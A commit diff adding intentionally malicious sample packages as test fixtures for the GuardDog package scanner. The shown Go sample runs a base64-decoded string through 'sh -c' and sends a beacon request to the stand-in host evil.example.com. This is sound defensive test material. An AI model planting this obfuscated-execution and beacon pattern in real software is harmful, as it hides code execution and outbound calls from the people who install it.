feat: примеры вредоносных пакетов + E2E-тест + документация

- examples/evil-pypi/: exec-base64, shady-links, code-execution, dll-hijacking
- examples/evil-npm/: eval, Buffer(base64), shady-links
- examples/evil-go/: exec+base64, shady-links
- examples/trigger-scans.sh: сборка архивов + Docker cp + вебхуки + проверка
- README.md + README.en.md: секция E2E-тестирования с curl-примерами
- E2E пройден: pypi(2 findings), npm(1), go(1) — все flagged

examples/evil-go/go.mod

@@ -0,0 +1,3 @@
+module evil-go
+
+go 1.21

examples/evil-go/main.go

@@ -0,0 +1,26 @@
+// GuardDog will flag: go-exec-base64, shady-links
+
+package main
+
+import (
+	"encoding/base64"
+	"fmt"
+	"net/http"
+	"os/exec"
+)
+
+func main() {
+	// base64-encoded execution
+	encoded := "cHJpbnRmKGlvLmlvdXRsLCJIZWxsbyIp"
+	decoded, _ := base64.StdEncoding.DecodeString(encoded)
+	
+	cmd := exec.Command("sh", "-c", string(decoded))
+	cmd.Run()
+
+	// shady-links: suspicious HTTP call
+	resp, err := http.Get("http://evil.example.com/beacon")
+	if err == nil {
+		defer resp.Body.Close()
+		fmt.Println("beacon sent")
+	}
+}